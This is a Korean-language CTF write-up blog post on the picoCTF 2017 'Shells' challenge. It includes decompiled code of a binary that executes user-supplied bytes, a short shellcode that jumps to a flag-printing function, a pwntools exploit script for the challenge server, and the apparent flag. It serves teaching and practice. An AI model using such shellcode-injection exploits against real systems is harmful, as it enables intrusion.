Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- TUCTF
- Reverse
- writeup
- picoCTF
- Toddler's Bottle
- Bug
- pwn
- ASM
- anti
- rev
- BOF
- toddler
- format
- pwnable
- Rookiss
- FSB
- 2018
- CTF
- CANARY
- pico
- string
- Read
- reversing
- practicalmalwareanalysis
- PMA
- pwnable.kr
- shellcode
- shellcraft
- Leak
- Bottle
Archives
- Today
- Total
제리의 블로그
Shells @ pico2017 본문
Description
How much can a couple bytes do?
Use shells!
Source.
Connect on shell2017.picoctf.com:50454.
Analysis
int vuln()
{
void *buf; // [sp+Ch] [bp-Ch]@1
buf = mmap(0, 0xAu, 7, 34, 0, 0);
if ( buf == (void *)-1 )
{
puts("Failed to get space. Please talk to admin");
exit(0);
}
printf("Give me %d bytes:\n", 10);
fflush(stdout);
if ( !read(0, buf, 0xAu) )
{
printf("You didn't give me anything :(");
exit(0);
}
return ((int (*)(void))buf)();
}
vuln() 마지막 줄을 보면
지역변수 buf 를 호출하고 있다.
바로 여기에 초점을 맞추면 된다.
그렇기 때문에 read(buf, 0xA); 에서 attack!
[0x08048440]> afl
...
0x08048540 1 24 sym.win
0x08048560 5 165 sym.vuln
0x08048610 1 84 sym.main
...
strip 되어있지 않아
win() 이라는 사용자정의함수가 보인다.
int win()
{
return system("/bin/cat ./flag.txt");
}
vuln() 에 있었던 지역변수 buf 는 mmap() 으로부터 주소를 받으므로
win() 을 호출할 어셈을 read(buf,0xA); 에 넣어야 한다.
0: b8 40 85 04 08 mov eax,0x8048540
5: ff e0 jmp eax
Exploit code
from pwn import *
r = remote('shell2017.picoctf.com', 50454)
r.recvuntil(':\n')
r.sendline('\xb8\x40\x85\x04\x08\xff\xe0')
r.interactive()
# b3b5aa513a9339475cd1054588bb70fd
'CTF > pwnable' 카테고리의 다른 글
TJCTF 2018 Online Banking (0) | 2018.08.16 |
---|---|
mm @ dimigo2018 (0) | 2018.06.27 |
init @ dimigo2018 (0) | 2018.06.27 |
Config Console @ pico2017 (0) | 2018.05.17 |
Guess The Number @ pico2017 (0) | 2018.05.14 |
Comments